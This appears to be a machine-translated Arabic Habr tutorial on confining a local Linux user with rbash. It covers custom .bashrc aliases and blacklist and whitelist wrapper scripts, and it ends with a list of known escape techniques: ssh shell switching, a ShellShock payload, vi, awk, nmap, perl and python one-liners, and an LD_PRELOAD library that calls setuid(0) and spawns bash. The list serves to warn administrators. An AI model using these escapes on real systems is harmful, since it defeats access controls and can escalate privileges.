قصر حقوق المستخدم المحلية على نظام Linux على الحد الأدنى

القط في يوم من الأيام ، ظهرت المهمة التالية: لإنشاء مستخدم محلي في Linux ، مع وصول محدود إلى المجلدات والملفات ، بما في ذلك ليس فقط التحرير ، ولكن أيضًا عرض ، بالإضافة إلى القدرة على استخدام الأدوات المساعدة المسموح بها فقط. يتم توفير الوصول المحلي فقط ، لا يوجد الوصول إلى الشبكة.

من أجل عدم إعادة اختراع العجلة ، فإن أول شيء فعلته هو بدء حفر الإنترنت ، ونتيجة لذلك تم العثور على الخيارات التالية:

  • قيود الوصول من خلال خدمات الشبكة سه ، sftp (لم يصلح)
  • تمايز حقوق الوصول بواسطة نظام التشغيل linux نفسه (لم يكن مناسبًا ، أود حلاً عالميًا)
  • باستخدام الجذر (لم يصلح)
  • استخدام الأدوات المساعدة التابعة لجهات خارجية ، على سبيل المثال SELinux (غير مناسب ، يعقد النظام).

كنتيجة للبحث ، تم العثور على آلية مضمنة لتقييد قدرات المستخدم داخل غلاف bash ، يطلق عليها Restricted Shell أو rbash .

يقوم بتنفيذ القيود التالية:

  • لا توجد طريقة لتغيير الدليل باستخدام الأمر cd
  • لا يمكنك إعادة تعيين أو تغيير قيم المتغيرات SHELL و PATH و ENV و BASH_ENV
  • يحظر تحديد الأوامر التي تحتوي على / (شرطة مائلة)
  • يحظر استيراد وظائف من القشرة الرئيسية
  • يحظر إعادة توجيه الإخراج باستخدام عوامل التشغيل> ، <، | ، <> ،> & ، & ، & ، & ، &
  • يحظر استخدام الأمر exec لاستبدال الأمر ، إلخ.

هناك ناقص ، وهذا هو الأمن ، لذلك لا بد من إضافة اسم مستعار للأوامر في ملف السلوك من قذيفة .bashrc (المعلومات ستكون أبعد من ذلك).

بالطبع ، rbash خارج الصندوق ، فهو لا يحل جميع المشاكل ، لذلك ، على سبيل المثال ، نحن نفكر في إنشاء مستخدم وإعداد بيئته لإيجاد حل كامل لمشكلتنا.

علاوة على ذلك ، يتم تنفيذ جميع العمليات من الخارق (الجذر).

1. إنشاء قذيفة محدودة

echo '/bin/bash -r' > /bin/zbash chmod +x /bin/zbash 

2. إنشاء مستخدم

 adduser --home /home/zuser --shell /bin/zbash zuser 

3. تغيير أذونات الدليل

 chown root.zuser /home/zuser chmod 750 /home/zuser 

4. انتقل إلى الدليل وتنظيفه

 cd ~zuser ls -a rm .bash* rm .profile ls -a 

5. تخصيص قذيفة والحقوق

 echo "PATH=:/home/zuser/bin" > .bashrc echo "alias help='echo access is limited'" >> .bashrc # alias   help echo "bind 'set disable-completion on'" >> .bashrc #    tab mkdir -p bin chmod 750 bin chown -R root.zuser /home/zuser chmod 640 .bash* 

يحدد ملف .bashrc سلوك shell ؛ يمكن إضافة الاسم المستعار للأوامر أو الخيارات الإضافية إلى هذا الملف.

لضمان الأمن ، قم بتشغيل الأوامر التالية:

 echo "alias echo=':'" >> .bashrc echo "alias cat=':'" >> .bashrc echo "alias bash=':'" >> .bashrc echo "alias sh=':'" >> .bashrc echo "alias ln=':'" >> .bashrc echo "alias set=':'" >> .bashrc echo "alias uset=':'" >> .bashrc echo "alias export=':'" >> .bashrc echo "alias typeset=':'" >> .bashrc echo "alias declare=':'" >> .bashrc echo "alias alias=':'" >> .bashrc echo "alias unalias=':'" >> .bashrc 

القائمة تطول ...

6. التحقق من العمل

 root@host: su zuser zuser@host: help access is limited zuser@host: pwd /home/zuser zuser@host: ls /tmp/ bash: ls:    zuser@host: /bin/ls bash: /bin/ls:         {/} zuser@host: echo $PATH :/home/zuser/bin zuser@host: PATH=/bin/ bash: PATH:     zuser@host: exit 

7. إضافة أوامر صالحة

 ln -s /bin/ping /home/zuser/bin/ping 

الأهم من ذلك ، يجب تحديد المسارات في الأمر ln بالكامل.

8. يمكنك استخدام الأغلفة للحد من خيارات الأمر.

 mkdir /var/scripts echo "/usr/sbin/useradd -D" > /var/scripts/user-info chmod +x /var/scripts/user-info ln -s /var/scripts/user-info /home/zuser/bin/user-info 

9. يمكنك أيضًا إنشاء غلاف للعمل مع الملفات والمجلدات.
مع قائمة سوداء (اسمح لكل شيء ما عدا):
- إنشاء ملف

 nano /var/scripts/ls 

- محتويات الملف

 blacklist="\? ../ /etc /bin /boot /var" for var in $blacklist do if [[ $* == *$var* ]]; then echo 'Access is denied:' $* exit fi done /bin/ls $* 

القائمة السوداء - متغير يحتوي على قائمة سوداء من الأدلة أو الملفات (مفصولة بمسافات)
- إضافة أمر للمستخدم zuser

 chmod +x /var/scripts/ls ln -s /var/scripts/ls /home/zuser/bin/ls 

يتيح لك هذا البرنامج النصي تنفيذ الأمر ls باستخدام أي مفاتيح للأدلة والملفات التي لا تتطابق مع القائمة السوداء

مع قائمة بيضاء (حظر كل شيء ما عدا):
- إنشاء ملف

 nano /var/scripts/cat 

- محتويات الملف

 whitelist="./ /tmp/" #   for var in $whitelist do if [[ $* == *$var* ]]; then /bin/cat $* #   cat    exit fi done echo 'Access is denied:' $* 

القائمة البيضاء - متغير يحتوي على قائمة بيضاء من الأدلة أو الملفات (المساحة مفصولة)
- إضافة أمر للمستخدم zuser

 chmod +x /var/scripts/cat ln -s /var/scripts/cat /home/zuser/bin/cat 

يتيح لك هذا البرنامج النصي تنفيذ الأمر cat مع الملفات المحددة في القائمة البيضاء.

انتهى الأمر ، وحصلنا في النهاية على النتيجة التالية:

  • أنشأنا مستخدم zuser مع قذيفة rbash
  • تعطيل القدرة على استخدام الإكمال التلقائي في وحدة التحكم
  • يمكن zuser فقط تشغيل الأدوات المساعدة من الدليل / home / zuser / bin
  • إضافة الأمر ping إلى zuser
  • إضافة الأمر user-info إلى المستخدم zuser
  • تم تقييد zuser من خلال المجمع لتنفيذ أوامر ls و cat


هذه الطريقة لسوء الحظ لا تضمن أمانًا بنسبة 100٪ ، ومع وجود معرفة ومؤهلات معينة ، يمكن للمستخدم ترك هذه القشرة. بفضل Jouretz Arheops YaDr في التعليقات التي قدموها أمثلة على التحايل على قيود قذيفة.

توجد الثغرات التالية في هذا الحل (Shell Escape) ، والتي يجب أخذها في الاعتبار:
PATHالقدرة على تغيير المتغير PATH
نسخ الملفات عن طريق scpالقدرة على تحميل البرنامج النصي الخاص بك
عند الاتصال عبر ssh ، يمكنك تغيير الصدفة
 ssh zuser@xxxx -t "/bin/bash" 
عند الاتصال عبر ssh ، يمكنك تغيير ملف تكوين shell
 ssh zuser@xxxx -t "bash --noprofile" 
عند الاتصال عبر ssh ، يمكنك استخدام ShellShock
 ssh zuser@xxxx -t "() { :; }; /bin/bash" 
عبر المرافق السادس ، هيم
 :!bash 
عبر المرافق السادس ، هيم
 :set shell=/bin/bash :shell 
من خلال رجل المرافق ، أكثر ، أقل
 !bash 
من خلال الأداة المساعدة find
 find . -maxdepth 0 -execdir /bin/bash \; 
عن طريق فائدة awk
 awk 'BEGIN {system("/bin/bash")}' 
عبر الأداة المساعدة nmap
 nmap --interactive 
عبر الأداة المساعدة nmap
 echo "os.execute('/bin/sh')" > exploit.nse nmap --script=exploit.nse 
من خلال بيرل
 perl -e 'exec "/bin/bash";' 
عبر الثعبان
 python -c 'import pty; pty.spawn("/bin/bash")' 
عبر روبي
 ruby: exec "/bin/bash" 
عبر LD_PRELOADقم بإنشاء ملف evil.c:
 #include <stdio.h> #include <unistd.h> #include <sys/types.h> #include <stdlib.h> void _init() { unsetenv("LD_PRELOAD"); setgid(0); setuid(0); system("echo work"); system("/bin/bash --noprofile"); } 

نحن نجمع:
 gcc -fPIC -shared -o evil.so evil.c -nostartfiles 

ننقل ملف evil.so الناتج إلى الجهاز مع إغلاق وحدة التحكم وتشغيلها:
 LD_PRELOAD=$PWD/evil.so ls 

كحجة ، أي أمر متاح

نظرًا لوجود عدد كبير بما فيه الكفاية من الثغرات الأمنية ، لا يمكن استخدام هذه الطريقة إلا لمستخدم محلي على أنظمة غير هامة ؛ للوصول إلى شبكة عبر ssh ، من الأفضل استخدام chroot أو الأدوات المساعدة الأخرى لتقييد قدرات المستخدم.

آمل أن تكون هذه المعلومات مفيدة.

Source: https://habr.com/ru/post/ar437710/


All Articles